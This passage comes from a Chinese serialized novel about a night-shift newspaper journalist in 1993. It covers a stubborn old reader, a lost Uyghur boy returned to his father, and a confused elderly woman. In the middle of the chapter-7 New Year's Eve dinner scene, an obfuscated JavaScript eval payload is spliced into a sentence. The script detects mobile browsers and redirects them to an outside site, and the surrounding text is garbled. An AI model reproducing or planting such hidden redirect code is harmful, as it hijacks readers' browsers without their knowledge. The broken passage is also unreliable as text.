“真甜。”叶葆启说。甜味从舌尖一直滑到胃里,暖意便从胃里生出来,沿着血管往四肢走。 “老家带来的,红心薯。”解平生吃得满手黑,那黑色钻进掌纹里,像写满了命运的密语,“小时候,冬天就盼着烤红薯。用柴火灰煨的,比这香。” 正吃着,电话响了。铃声在深夜里格外刺耳,像一把锥子扎进寂静里。解平生接起来:“你好,夜间记者站……哦,李大姐,您慢慢说……” 是个老太太,说楼上夫妻吵架,摔东西,吓得她心脏病要犯了。解平生记录,然后给派出所打电话。他的声音在电话线里变得扁平,失了厚度,像纸片人在说话。处理完,红薯也凉了,表皮结了一层糖霜似的硬壳。 “这年过的,”解平生摇头,摇落几缕灰白的头发,那头发飘进炉火里,滋啦一声,化作青烟,“都不消停。” “越是年节,事越多。”叶葆启把红薯皮扔进炉子,火焰猛地蹿高,舔舐着那黑色的残骸,发出满足的叹息,“心里憋屈,借酒浇愁,一喝多就闹事。酒是胆,也是祸。” 凌晨一点,没什么事了。解平生靠在椅背上打盹,眼皮渐渐沉下去,像两扇被雨水泡胀的旧门。叶葆启翻开一本《内海市志》,看得很入神。书页泛黄,边缘卷起,像秋天梧桐的叶子。他喜欢看地方志,那里面记录着这座城市的前世今生——哪条街原来是什么,哪座桥是谁建的,哪个名人在这里住过。字是铅印的,摸上去有微微的凸起,像土地的脉搏。 正看到“河浮桥”那章,突然,楼下传来“咣咣”的砸门声。 那声音不是敲,是砸。是用整个身体在撞,是用全部的生命在抗议。很响,很急,一声接一声,像要把铁门砸碎,要把这沉沉的夜砸出一个窟窿来。 解平生惊醒,眼睛睁开的刹那,瞳孔里还残留着梦的碎片:“怎么了?” 叶葆启放下书,走到窗边往下看。楼下大门口,一个老人正在用拳头砸铁门。路灯把他的影子拉得很长,长得越过马路,爬上对面的墙。老人边砸边喊:“开门!里面有人吗!” 声音苍老,像枯树枝在风里摩擦,但中气十足,每个字都砸在地上,能砸出坑来。 “我去看看。”叶葆启说。 “小心点,万一是个疯子。”解平生也站起来,把火钳握在手里——那火钳此刻成了武器,尖头闪着寒光。 两人下楼。楼梯是水泥的,踏上去有空洞的回响,像走在什么巨兽的腔子里。张大爷已经开了门,老人冲进来,身后还跟着几个中年男女,都怒气冲冲的,脸在灯光下扭曲成奇怪的形状。 “记者在哪儿?”老人进门就问,直往楼梯口走。他的脚步很重,每一步都像是要把地板踩穿。 “老爷子,您找哪位记者?”张大爷拦住后面的人,手臂张开,像一只护巢的老母鸡。 “我找值班记者!”老人不回头,噔噔噔往楼上走。他的背挺得笔直,像一杆旗,一面就要被风扯破的旗。 叶葆启和解平生在楼梯口迎上。老人看见他们,眼睛一亮——那亮不是灯火的亮,是火星子,是就要熄灭的炭火在风里最后的挣扎。他没走直线,而是绕了个弧线,边走边从腰间掏东西。 解平生脸色一变,挡在叶葆启前面。叶葆启也紧张起来——这架势,像要掏凶器。他能听见自己的心跳,咚咚,咚咚,擂鼓似的。 老人终于掏出来了——不是刀,不是棍,是一张卡片。他举到叶葆启面前,手在颤抖,那颤抖传到卡片上,卡片便也跟着抖,像一片风中的叶子。 “看看!看看!”老人说,每个字都带着唾沫星子,喷在叶葆启脸上,热烘烘的。 叶葆启接过,是张“老年优待证”,街里发的。照片上的老人皱着眉,很严肃,眼神里有种不容置疑的东西,像审判。 “老爷子,您有什么事?”叶葆启尽量温和,声音放软,像哄孩子。 老人不回答,只是喘着粗气。那喘息声很重,拉风箱似的,从喉咙深处扯出来。他的脸色煞白,白得像糊窗户的纸,能透出后面青色的血管来。后面的中年男女跟上来了,一个中年女人说:“记者同志,对不起,我爸他……” “你闭嘴!”老人回头吼了一句,那吼声像闷雷,在楼梯间里滚来滚去。然后他盯着叶葆启,眼睛睁得很大,眼白上布满了血丝,像一张破渔网,“我问你,今天的《内海都市报》,为什么没给我送?” 叶葆启一愣:“没送报纸?” “对!没送!”老人声音更大了,震得楼梯间的灰尘簌簌往下落,“我从下午等到晚上,报箱空的!一天不看报,我浑身难受!像有蚂蚁在骨头里爬!” 解平生松了口气,笑了——那笑是从喉咙深处挤出来的,干巴巴的:“老爷子,就为这个?” “就为这个?”老人瞪眼,眼珠子几乎要从眼眶里蹦出来,“这是大事!我订了二十年报,一天没落过!二十年啊,七千三百天!今天为什么没送?为什么?” 叶葆启明白了。这是个老读者,把看《内海都市报》当成了生活的一部分,一天不看,就像缺了什么——不是缺了报纸,是缺了一天,缺了生命中的二十四小时。那报纸是他和世界的脐带,一天不连通,他就成了孤岛。 “老爷子,您别急。”叶葆启说,“我这儿有今天的报,给您一份。” 他回到办公室,从桌上拿起自己那份晚报——还没来得及看。纸还是温的,油墨味儿钻进鼻孔,是熟悉的、让人安心的味道。 递给老人。 老人接过,双手捧着,像捧着一件圣物。他翻开,看了看日期,又看了看头版标题,嘴唇翕动着,无声地念着什么。然后他长出一口气,那口气很长,把身体里的紧张、愤怒、不安都吐了出来。脸色缓和了,像解冻的土地,有了些许生气。 “谢谢。”他说,居然抬手敬了个礼,很标准,手臂绷得笔直,指尖贴在斑白的鬓角上。那姿势里有种庄严的东西,让人想起仪式,想起誓言。 然后转身就走,干脆利落,像完成了什么重大使命。中年男女们赶紧跟上,脚步杂乱,像一群受惊的麻雀。 一行人下了楼。叶葆启和解平生从窗户往下看,见老人被扶上一辆面包车。车是银灰色的,在路灯下像一条疲倦的鱼。车门关上,发动,尾灯亮起两点红,慢慢游进夜色深处。 “这老爷子,”解平生摇头笑,笑纹从眼角漾开,像石子投入死水,“够厉害的。” “是个认真的人。”叶葆启说。他想,认真到偏执,偏执到可爱,可爱到可敬。 张大爷上来了,手里还端着那碟花生米,不过已经凉了,油凝在表面,白花花的一层。“问清楚了。老爷子姓姜,退休干部,住海西区。今天投递员漏送了,老爷子晚饭都没吃,把儿子闺女都叫来,非要来报社问个明白。说这是原则问题,不能含糊。” “投递员为什么漏送?” “说是新手,不熟悉路线。”张大爷往嘴里扔了颗花生米,嚼得嘎嘣响,“已经批评了,明天补送。可老爷子等不及啊,说今天的事今天必须了。老了老了,倒活回去了,像个孩子。” 叶葆启点点头,回到桌前。他翻开值班本——那本子已经很旧了,边角卷起,纸页发黄,记录了多少个不眠之夜?他拿起笔,笔尖在纸上沙沙作响,像春蚕食叶: “1月17日凌晨1时20分,姜姓老人因未收到当日《内海都市报》来社反映。情绪激动。经协调,补送报纸。老人满意离开。” 写到这里,他停笔想了想。一天没收到报纸,就半夜砸门,这听起来有些夸张,像戏文里的故事。但换个角度想,一个老人,把看报当成了每天的精神寄托,这份坚持,这份认真,难道不值得尊重吗?在这个什么都讲究“差不多”的时代,这种“差一点也不行”的劲头,反倒成了稀罕物。 他在后面加了一句,用力地写,笔尖几乎要划破纸背: “读者对报纸的信任,是我最大的财富。那信任薄如纸,却重如山。” 写完,他看看表,凌晨两点。炉火弱了,只剩下一团暗红的心子,在灰白的煤渣里苟延残喘。屋里冷下来,冷气从脚底往上爬,像藤蔓,缠住人的腿、腰、胸,最后扼住喉咙。他添了块煤,煤块滚进炉膛,惊起一片火星,那火星子飞舞着,像夏夜的萤火虫,转瞬即逝。 然后倒了杯热水,慢慢喝。水很烫,烫得舌尖发麻,但烫得舒服,烫得让人确信自己还活着。 解平生已经睡着了,发出轻微的鼾声。那鼾声有节奏,一起一伏,像潮水。叶葆启没有睡意,他翻开《内海市志》,继续看“河浮桥”那章。 原来,河上最早没有桥,只有浮桥——用船连起来,铺上木板,人车通行。每年开春,冰化了,桥就要拆;冬天,冰封了,桥又要搭。如此反复,几十年。那些船是旧的,木板是烂的,走上去吱呀作响,像老人的关节在呻吟。可就是这座浮桥,连接了河东河西,连接了无数人的生老病死、悲欢离合。 后来有了铁桥,又有了水泥桥。浮桥消失了,只留在老人的记忆里,像一道褪色的疤痕。 叶葆启想,姜老爷子看报,是不是也像守着一座桥?一座连接他和外部世界的桥?一天不通,就心里发慌,觉得自己被遗弃了,被隔绝了,成了孤岛上的鲁滨逊,只能对着海浪发呆。 凌晨三点,电话又响了。铃声在寂静里格外刺耳,像一根针扎进耳膜。叶葆启接起来,是个年轻女子,哭哭啼啼的,说丈夫打她。她的哭声很破碎,像摔碎的瓷器,一片片的,扎人。叶葆启记录,联系妇联值班室。处理完,天快亮了。 东方的天空开始泛白,那白很淡,像稀释了的牛奶,从藏青的底子上慢慢渗出来。然后变成鱼肚白,又渐渐染上淡淡的橘红——那红很羞涩,只敢在天边抹上一小道,像姑娘脸上的胭脂。城市醒来了,远处传来洒水车的音乐声——是《茉莉花》,悠扬的,在清晨的空气里飘荡,洗去夜的污浊。 七点,白班的同事来了。他们的脸是新鲜的,带着睡眠充足的饱满,像刚出炉的面包。叶葆启交班,骑车回家。车轮碾过路面,发出沙沙的声响,像蚕在食桑。 小年的早晨,胡同里格外热闹。家家户户扫房,擦玻璃,贴窗花。灰尘在阳光里飞舞,金色的,像细碎的金箔。孩子们穿着新衣,跑来跑去,口袋里装着糖,嘴里含着,腮帮子鼓鼓的,说话都含混不清。 回到家,素琴正在扫房。她头上包着毛巾,蓝底白花的,像个村妇。笤帚在她手里舞动,扬起灰尘,那些灰尘在从窗户斜射进来的阳光里起舞,像一场微型的风暴。 “回来了?”素琴放下笤帚,抹了把额头的汗,汗珠在阳光下亮晶晶的,“锅里有豆浆。” 叶葆启喝了豆浆,吃了油条。豆浆是热的,顺着食道滑下去,暖了整个胸腔。小舟醒了,穿着新棉袄,红彤彤的,像个小福娃,又像一团火,能把人的心都烤暖了。 “爸爸,今天小年,咱们吃糖瓜吗?”小舟问,眼睛亮亮的,映着窗外的天光。 “吃,一会儿去买。”叶葆启摸摸儿子的头,头发软软的,像春天的草。 素琴扫完房,开始擦玻璃。叶葆启帮忙,两人一里一外,配合默契。湿抹布在玻璃上划出弧线,水渍流淌,像眼泪。擦到一半,素琴忽然说:“葆启,你说怪不怪,昨天街道办也来了个老人,因为没收到报纸,闹了一下午。” “哦?” “姓姜,退休干部,住海西。”素琴说,手里的抹布停下来,水珠一滴一滴往下掉,砸在窗台上,开出小小的水花,“投递员漏送了,老人找到街道,非要我们给说法。我们说这不归我们管,老人不听,坐那儿不走。后来他儿子来接,才劝走。走的时候还念叨:‘规矩就是规矩,定了就要守。’” 叶葆启笑了,笑纹从嘴角漾开:“我昨晚也遇见他了。” 他把半夜砸门的事说了,说得仔细,连老人敬礼的姿势都描述了。素琴听了,又气又笑,手里的抹布攥紧了,水滴滴答答往下淌:“这老爷子,可真够犟的。一根筋,认死理。” “他是把看报当成了大事。”叶葆启说,手指在玻璃上画着无形的图案,“咱们觉得小题大做,可对他而言,这就是生活的一部分,是仪式,是信仰。没了这份报纸,他的一天就不完整,就像……就像饺子没了馅,只剩皮。” 玻璃擦 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包着饺子,叶葆启忽然说:“素琴,等咱们老了,会不会也像姜老爷子那样,因为一点小事就较真?比如报纸没送,比如电视信号不好,比如孙子没来电话?” “可能吧。”素琴捏着饺子边,手指灵巧地一捏一折,一个元宝似的饺子就成了,“人老了,世界就小了。原来在意的大事,渐渐不在意了;原来不在意的小事,反而成了大事。因为大事离得远,够不着了;小事就在手边,成了全部。” “比如?” “比如今天有没有收到报纸,比如阳台的花开没开,比如孙子来不来电话。”素琴把包好的饺子码在盖帘上,一圈一圈,像盛开的花,白色的花,在竹篾上静静绽放,“这些小事,就是老人生活的全部。它们不是小事,是坐标,是锚点,确认自己还在这个世界上,还没有被彻底遗忘。” 叶葆启沉默了。他想起了父亲。父亲最后那几年,每天就做几件事:看报,听广播,浇花,等他们兄妹回家。有一次,叶葆启忙,两周没回去,父亲没说什么,但母亲后来告诉他,父亲那两周,每天下午都坐在门口,望着胡同口。太阳把他的影子拉得很长,长得像一条路,一条通往虚无的路。 “爸等谁呢?”叶葆启问。 “等你呗。”母亲说,手里的针在头发上蹭了蹭,继续纳鞋底,“又不说,就干等。等到太阳落山,影子没了,才慢慢挪回屋。” 从那以后,叶葆启再忙,每周也要回去一趟。哪怕只坐半小时,说几句话。那半小时对父亲而言,是一周的盼头,是沙漠里的绿洲。 饺子下锅了,翻滚着,白白胖胖的,像一群戏水的白鹅。捞出来,热气腾腾,蘸着醋和蒜泥,一口一个,满嘴香。小舟吃得满脸都是,醋汁顺着下巴往下淌,素琴笑着给他擦脸,手指温柔,像拂去花瓣上的露珠。 吃完饭,叶葆启躺下睡觉。却睡不着,脑子里还是周老爷子那张愤怒的脸,还有父亲坐在门口等待的背影。两张脸叠在一起,渐渐模糊,变成一个象征——所有老人的象征,所有在时间河流边等待的象征。 他起身,拿出采访本——那本子比值班本更旧,页角卷得像秋天的叶子。他拧开笔帽,笔尖悬在纸上,犹豫了片刻,然后落下: “1993年1月17日。小年夜。姜姓老人因未收到报纸,半夜砸门。看似小事,实为大事——对老人而言,一份报纸,是一天生活的锚,是连接世界的脐带。脐带断了,便是孤岛。 我想起父亲。他晚年时,每天最重要的事就是等我们回家。我们觉得只是回家看看,对他来说,却是全部的期盼。那期盼有重量,压弯了他的脊梁,却撑起了他的日子。 人老了,世界就小了。小到一份报纸的送达,一个电话的铃声,一次子女的探望,都能牵动全部情绪。情绪是放大镜,把小事放大成山,把瞬间拉长成永恒。 作为记者,我记录过太多大事:工程事故、□□、自然灾害。但也许,真正重要的,是这些‘小事’——那些构成普通人日常的、微小的悲欢。它们是历史的毛细血管,不显眼,却遍布全身,输送着生活的血液。 素琴说得对,善良比真实更重要。对姜老爷子,一份报纸就是善良;对父亲,一次探望就是善良。善良是具体的,是一碗热汤,是一句问候,是一份准时送达的报纸。 今夜还有夜班。不知道又会遇到什么人,什么事。但我想,我会更耐心些。因为我知道,每一件看似荒诞的小事背后,都可能藏着一个老人全部的世界。那世界很小,小如芥子;也很大,大如须弥。 窗外天色渐暗,又要入夜了。夜是口井,但我愿意做井底的那只蛙,守着这一小片天,听每一滴落下的水声。那水声是故事,是人生,是无数个姜老爷子在时光里的回响。” 合上本子,他走到院里。天阴着,铅灰色的云低低地压下来,可能要下雪。邻居家的收音机开着,在播京剧,《空城计》,诸葛亮的唱腔悠长:“我本是卧龙岗散淡的人……”那声音穿过墙壁,穿过暮色,飘过来,带着岁月的包浆。此时此刻,隔壁院儿赵同的爷爷赵振鹏估计只张嘴不出声,跟着收音机里的声音唱起了“双簧京剧”。 他站着听了一会儿。雪花真的开始落了,很小,很轻,像谁在天上撕棉絮。一片雪花落在他的睫毛上,瞬间化了,凉意渗进眼睛里。 然后回屋,穿上外套。外套是深蓝色的,洗得发白,袖口磨出了毛边。 “又去值班?”素琴问,手里在织毛衣,毛线是枣红色的,在灯下泛着暖光。 “嗯。” “晚上包饺子,我给你留着。”素琴说,没抬头,手指飞快地动着,针尖闪着银光,“韭菜鸡蛋的,你爱吃。” “好。” 走出胡同,街上张灯结彩,已经有了年味。商店门口挂起了红灯笼,灯笼在风里摇晃,像一颗颗跳动的心脏。小贩在卖年画、春联、鞭炮。年画上的门神怒目圆睁,秦叔宝和尉迟恭,一左一右,守护着千家万户的平安。孩子们围着看,眼睛里闪着光,那光纯净,像清晨的露珠。 叶葆启骑上车,汇入车流。他知道,前方,报社大楼的灯火还在等着他。那灯火在夜色里,是一小团橘黄,是黑暗海洋里的灯塔。今夜,还会有电话,还会有人来访。电话铃会刺破寂静,来访者的脚步会在楼梯上响起空洞的回音。 但他不再觉得这是负担。因为每一个电话,每一次来访,都是一个故事,一段人生。而他,是这些故事的记录者,是这些人生的见证人。他的笔是刀,剖开生活的表皮,露出里面的血肉和筋骨;也是针,缝合那些破碎的,抚平那些褶皱的。 车轮碾过积雪融化后的湿漉漉的路面,发出沙沙的声响。这声响,和他笔尖在纸上的沙沙声,奇妙地重合在一起。都是记录。都是生活。生活是一条河,他是河上的摆渡人,渡人,也渡己。 雪下大了,雪花扑在脸上,凉丝丝的。他抬起头,看见无数雪花从无尽的黑暗中落下来,旋转着,舞蹈着,每一片都有自己的轨迹,最终却都落向大地,融进泥土,成为来年春天的水分。 就像每一个故事,每一个生命。 他蹬车的脚用力了些。前方的灯火,似乎更亮了些。 7. 第007章 迷路的男孩 腊月二十八的内海,街道在年关的重压下微微隆起,像一条撑得太饱的巨蟒。办年货的人流从每个门洞里涌出,手里拎着的猪头、活鱼、成捆的鞭炮,都成了这巨蟒腹中未消化的块垒。红灯笼在寒风里滴血似的晃着,孩子们试放鞭炮的噼啪声,听起来像是巨蟒关节在脆响。 叶葆启坐在群工部改成的“春节接待室”里,感觉自己成了这巨蟒的某一节脊椎。从早上八点开始,电话铃声就没停过,每一通都是一个疼痛的骨节在呐喊。老太太的年画被楼上漏下的水泡成了混沌的山水,中年男人买到的假茅台在电话里散发着虚构的酒香,失恋的小伙子声音里的裂缝比内海河冬天的冰面还要细密。 解平生坐在对面,用红蓝铅笔在值班表上画着谁也看不懂的符号。他说:“过年过的是人情的炼金术,可炼出来的多是废渣。” 中午时分,素琴提着饭盒来了。铝制饭盒在她手里冒着热气,盖子被蒸汽顶得轻轻跳动,像颗温热的心脏。她打开盖子,饺子整齐地排列着,每一个的褶皱都像是精心计算过的年轮。 “趁热。”素琴说,声音里也有蒸汽的湿润。 叶葆启刚夹起一个饺子,电话响了。那铃声尖锐得不像话,仿佛要刺穿耳膜。他放下筷子接起来,听到一个男人的声音,焦急得像在油锅里蹦跳的黄豆:“记者同志!节约桥底下!捡了个孩子!冻僵了!说话跟鸟叫似的!” 叶葆启和解平生对视一眼。解平生已经抓起军大衣,那件大衣在他手中展开时,扬起了一阵灰尘,灰尘在阳光里飞舞,像是时间的碎屑。 素琴看着他们匆匆离去的身影,低声说:“晚上包饺子,韭菜鸡蛋馅的。” 叶葆启回头看了一眼,素琴的脸在冬日苍白的光里,像一枚浸在米酒里的糯米团子。 节约桥横在内海北郊,是座老得牙齿松动的桥。桥下干涸的河床裸露着,像大地裂开的黑色牙龈。叶葆启他们赶到时,一群人围在那里,围成一个不规则的圆,像是某种古老的祭祀现场。 几个穿迷彩服的民警站在圆心,其中一个怀里抱着个孩子。孩子七八岁,裹在厚厚的棉袄里,头戴一顶少数民族的小花帽,帽子上的金线在灰暗的天光下,闪烁着微弱的神秘光泽。他闭着眼,睫毛长得不可思议,在冻得发红的脸颊上投下细密的阴影。 “解老师!”一个民警认出了解平生。解平生体院毕业后曾是他们教官,教他们如何用身体制服暴力,现在他们却要用身体温暖一个迷途的孩子。 民警把孩子抱进警车,打开暖气。热风从出风口涌出,带着铁锈和机油的味道。孩子在这气味中慢慢苏醒,睁开眼。他的眼睛是琥珀色的,深处有戈壁的风沙在盘旋。 他说了一串话,音节跳跃如溪涧中的卵石相撞。没人听得懂。 叶葆启蹲在车门口,看着这双眼睛。忽然,他想起自己十二岁那年,在老家见过的一匹小马驹。那小马驹也是这样的眼睛,清澈见底,却又深不见底。后来小马驹掉进山沟死了,眼睛被乌鸦啄食,只剩下两个空洞,里面住进了风声。 “找个翻译。”叶葆启说。 民警骑上三轮摩托走了。摩托的排气声在寒风中拉得很长,像一声痛苦的叹息。 等待的时间里,叶葆启从口袋里掏出一块糖。糖纸是红色的,已经被体温捂得发软。他剥开糖纸——那剥开的动作缓慢得近乎仪式——将糖递给孩子。 孩子看着他,犹豫了片刻,接过糖放进嘴里。他的眼睛眯了起来,那瞬间,叶葆启看见他眼中有整个塔克拉玛干的星空在闪烁。 翻译来了,是个叫买买提·艾力的西部男人。他的络腮胡子浓密得像一片黑森林,说话时,胡须随着音节颤动,仿佛那些话语是从胡须的根部生长出来的。 买买提钻进车里,用叶葆启听不懂的语言与孩子交谈。声音低沉而温柔,像在哄睡一个不安的灵魂。孩子哭了,泪水滚落,在冻红的脸上划出闪亮的轨迹。 “他叫阿迪力,意思是‘正义’。”买买提翻译道,“他跟爸爸来的,人太多,走散了。” “他爸爸呢?” “不知道。孩子只记得爸爸叫‘阿塔’,那是‘父亲’的意思。” 叶葆启看着孩子哭泣的脸,忽然想起父亲去世前的那个冬天。父亲躺在病床上,瘦得只剩一把骨头,却还在说:“葆启,过年了,要好好过。”什么叫好好过?父亲没说。现在他看着这个叫“正义”的迷失的孩子,似乎明白了些什么。 电话一个个打出去,每个电话都是一次投石问路,石沉大海。就在希望像夕阳一样即将沉没时,鸿运区丁沽街派出所回话了:有个西部男人报案丢了儿子,特征完全吻合! 警车载着阿迪力驶向派出所。路上,叶葆启问买买提:“想家吗?” 买买提沉默了很长时间,长得足以让一辆马车从喀什走到乌鲁木齐。最后他说:“想。但这里的钱会变成喀什噶尔的馕,吐鲁番的葡萄,我妻子耳坠上的银月亮。” 叶葆启点点头。他理解这种变形记——他自己不也把青春变成了铅字,把理想变成了每月的工资条吗? 丁沽街派出所里,阿不都·热合曼一见到儿子,整个人像被闪电劈开的胡杨,僵硬了一瞬,然后崩溃般扑上来。他抱住阿迪力,用叶葆启听不懂的话喊着一连串的词语,那些词语在空中碰撞、碎裂,变成金色的粉末洒落。 父子俩的泪水混在一起,分不清是谁的。叶葆启站在一旁看着,忽然感到眼眶发热。他想,眼泪大概是一种通用的语言,比任何字典都丰富。 阿不都用生硬的汉语道谢,握每个人的手。他的手粗糙得像戈壁滩上的石头,但温暖,那温暖透过皮肤,一直传到叶葆启的骨子里。 回程的路上,天色已晚。街边的灯笼都亮了起来,连成一条红色的河,在冬夜里缓缓流淌。解平生开着车,忽然说:“老叶,你相信命运吗?” 叶葆启看着窗外流淌的灯火:“以前不信。现在觉得,命运可能就是无数偶然串成的必然。” “像今天的相遇?” “像今天的相遇。” 平安胡同里,炖肉的香味浓得像实质的雾,包裹着每一个归家的人。叶葆启推开门,看见素琴正在剁肉馅。菜刀起落,在砧板上敲击出稳定的节奏,那节奏与他的心跳渐渐同步。 “回来了?”素琴没抬头,继续剁着。 “回来了。” “孩子找到了?” “找到了。” 素琴停下刀,抬头看他。她的眼睛在厨房昏黄的灯光下,像两口深井,井底有月亮。“那就好。”她说,又低头继续剁肉。 咚咚咚,咚咚咚。菜刀与砧板的对话,讲述着千百年来中国家庭最朴素的故事。 小舟举着糖葫芦跑进来,糖葫芦上的山楂红得发亮,像一颗颗微缩的太阳。“爸爸!姥姥说吃了糖葫芦,一年都甜!” 叶葆启抱起儿子,闻到他头发里有阳光和冰糖混合的味道。这味道让他突然很想哭,不知道为什么。 年夜饭摆上桌时,电视里的春节联欢晚会已经开始。红烧鲤鱼睁着空洞的眼睛望着天花板,四喜丸子圆滚滚地挤在盘子里,炖肘子皮上的油光映着灯影,颤巍巍的,像液态的黄金。 叶葆启说起阿迪力的故事。小舟听得入神,嘴里的饺子忘了嚼。 “爸爸,那个小哥哥找到爸爸了,是不是特别高兴?” “特别高兴。” “要是我也丢了,爸爸能找到我吗?” 叶葆启看着儿子清澈的眼睛,忽然觉得这个问题里有整个宇宙的重量。“能。”他说,“就算你变成一阵风,一滴雨,一粒沙,爸爸也能找到你。” 素琴夹了块鱼放进小舟碗里:“咱们一家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904159|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就像这鱼,骨头连着肉,肉连着皮,分不开的。” 吃完饭,叶葆启带小舟去放鞭炮。二踢脚炸响时,他捂住小舟的耳朵,感觉到儿子的小脑袋在自己手掌下轻轻震颤。那震颤顺着胳膊传上来,一直传到心里,在心壁上激起细密的回声。 夜空中的烟花一朵接一朵绽放。红的像血,绿的像翡翠,金的像皇帝龙袍上的绣线。小舟靠在他怀里,轻声说:“爸爸,烟花是不是天的伤口?” 叶葆启愣了一下。他从未这样想过。“为什么这么说?” “因为它们很美,但很快就消失了。像伤口愈合前最后的绚烂。” 叶葆启抱紧了儿子。这个七岁的孩子,用一句话道破了生命的某种真相。 午夜十二点,新年的钟声敲响。鞭炮声如潮水般涌起,淹没了整个城市。在这震耳欲聋的喧嚣中,叶葆启却感到一种奇异的宁静。他搂着素琴,站在窗前,看烟花在夜空中写下转瞬即逝的史诗。 “又一年了。”素琴轻声说。 “又一年了。” “葆启,新年有什么愿望?” 叶葆启想了想。愿望有很多,像夜空中的星星一样多。但最终,他说:“希望记忆能比遗忘跑得快一些。” 素琴不解地看着他。 “今天那个孩子,”叶葆启解释道,“如果有一天他长大了,忘记了今天的事,那么今天的寻找、眼泪、重逢,不就都白费了吗?记忆是唯一能对抗时间的东西。” 素琴靠在他肩上,没说话。窗外的烟花还在绽放,一朵巨大的金色菊花在空中盛开,缓缓凋零,花瓣散落成无数光点,像一场逆向的流星雨。 叶葆启忽然想起阿迪力吃糖时的笑容。那个笑容里有什么呢?有塔里木河清晨的水汽,有天山雪线折射的阳光,有爷爷讲述的《玛纳斯》史诗的片段,有母亲纺织时哼唱的古老歌谣。所有这些,都被一块廉价的糖果唤醒,在一个陌生的城市,在一个寒冷的冬日。 这就是魔幻现实吧,他想。最平凡的事物里,藏着最不可思议的奇迹。 夜深了,鞭炮声渐渐稀疏,最后完全停止。城市陷入沉睡,只有偶尔传来的犬吠,像梦的碎片漂浮在夜色中。 叶葆启躺在床上,却毫无睡意。他听见素琴均匀的呼吸声,听见小舟在隔壁翻身时床板的吱呀声,听见远处火车的汽笛——那汽笛声悠长得像一条没有尽头的路。 他想起了父亲,想起了父亲临终前说的话:“好好过。”现在他大概明白了,好好过,就是记住该记住的,忘记该忘记的,在记得与遗忘之间,走出自己的路。 窗外,天色渐渐发白。新年的第一缕光透过窗帘的缝隙,在地上投下一道淡金色的线。那线慢慢移动,慢慢变宽,最后铺满了半个房间。 叶葆启轻轻起床,走到窗前,拉开窗帘。晨光涌进来,温柔地拥抱了他。 新的一年,真的开始了。它会带来什么?带走什么?谁也不知道。唯一知道的是,无论发生什么,日子总要过下去,像内海河的水,冬天结冰,春天融化,夏天泛滥,秋天沉淀,周而复始,直至永远。 他回头看看熟睡的妻子和儿子,心中涌起一种难以言喻的平静。这平静很深,深得像井,井底有月亮,有星星,有一整个倒悬的天空。 而在那个天空下,在某个叶葆启不知道的地方,阿迪力大概也正在醒来,在父亲的臂弯里,迎接他在内海的第一个清晨。 晨光越来越亮,世界从灰黑变成淡蓝,再变成金黄。远处传来了第一声鸡鸣,清脆地划破晨雾。 新的一天,新的一年,就这样开始了。带着所有的记忆与遗忘,所有的相遇与离别,所有的寻找与守望。 叶葆启深深吸了口气,空气中已经有了一丝微弱的春意。虽然还很微弱,但它就在那里,像埋在冻土下的种子,等待着破土而出的时刻。 8. 第008章 忘了自己姓啥 正月初六,春雪飘得像老天爷筛面粉。旧雪未化,新雪又覆,街巷成了夹心糖。红灯笼在雪幕里晕出团团血色光晕,仿佛悬着未凉的年兽眼珠。夜气黏稠,吸进肺里带着冰碴的甜腥。 叶葆启值夜班。春节的鬼魅全挤进夜里了——醉酒汉的咒骂像爆竹炸裂,夫妻厮打碰翻的暖瓶发出哀鸣,暖气管道在墙壁里突突发喘,像垂死老人的喉音。这一夜,内海市所有的疲惫与不堪都从砖缝渗出,汇进报社二楼那盏长明灯下。 孙荣显泡茶的手势极慢,仿佛在熬制中药。茶叶在搪瓷缸里沉浮,像溺水者最后的挣扎。“葆启,听说除夕那夜你渡了个西部的魂儿?”他眼镜后的眼睛闪着幽光。 “是个活生生的孩子。”叶葆启纠正。 “活着好。”孙荣显呷了口茶,“这世道,能把魂儿留在腔子里,就是功德。” 话音未落,楼梯响起杂沓的脚步声。张大爷领着几个雪人进来——不,是人,只是浑身披雪,呵出的白气缠绕成团。他们中间夹着个更小的身影,像片枯叶贴在雪幕上。 是个老太太。棉袄臃肿如发酵的面团,围巾裹得只余一双眼睛露着。那眼睛浑浊如隔夜的米汤,看人时没有焦点,倒像在凝视另一个维度的东西。 “老开河河边儿捡的。”一个雪人抹了把脸,“坐那儿两个时辰了,问啥都摇头。” 他们留下老太太走了,脚印在雪地里犁出深沟,很快又被新雪抹平。 孙荣显关上门,屋里的暖意让窗玻璃蒙上白雾。叶葆启蹲下身,视线与老太太齐平。她的脸是风干的核桃,每道皱纹里都嵌着岁月的泥沙。 “老人家,您叫啥名?” 老太太嘴唇翕动,声音轻得像雪落:“忘了……全忘了……” “那您儿子呢?” “儿子?”她眼里忽然迸出火星,又瞬间熄灭,“儿子……是债主。” 接下来的叙述支离破碎,夹杂着呜咽和长久的沉默。她说儿子不给她饭吃——可嘴角还粘着糕饼屑;说儿子赶她出门——可她棉袄内衬缝着新棉花;说家在海北区粮店街——却又说不清门牌号。记忆在她脑中被撕成碎片,东一片西一片,拼不出完整的过往。 孙荣显打电话时,叶葆启盯着老太太的手看。那双手关节粗大,指甲缝里有洗不净的黑色,是常年劳作留下的烙印。左手无名指有道环状白痕——戴过戒指,很久很久。 “派出所说没接到报案。”孙荣显挂上电话,声音沉了下去。 老太太忽然开始哼歌。不成调的梆子戏,断断续续,像老唱片卡了纹: “正月里来雪打灯……儿在炕头娘在风……娘给儿缝棉袄呀……儿嫌针脚粗……” 叶葆启心里某处被掐了一下。他想起母亲——她也这样哼过歌,在他儿时的冬夜。煤油灯把她的影子投在土墙上,巨大如山,针线穿过棉布的“嗤嗤”声,是童年最安心的白噪音。 “您再想想,”他声音软下来,“平时去哪儿买菜?” “浮桥……”老太太眼睛亮了,“桥头第三家,豆腐老王?他的卤水豆腐……颤巍巍的,筷子夹不起,得用勺子舀……” 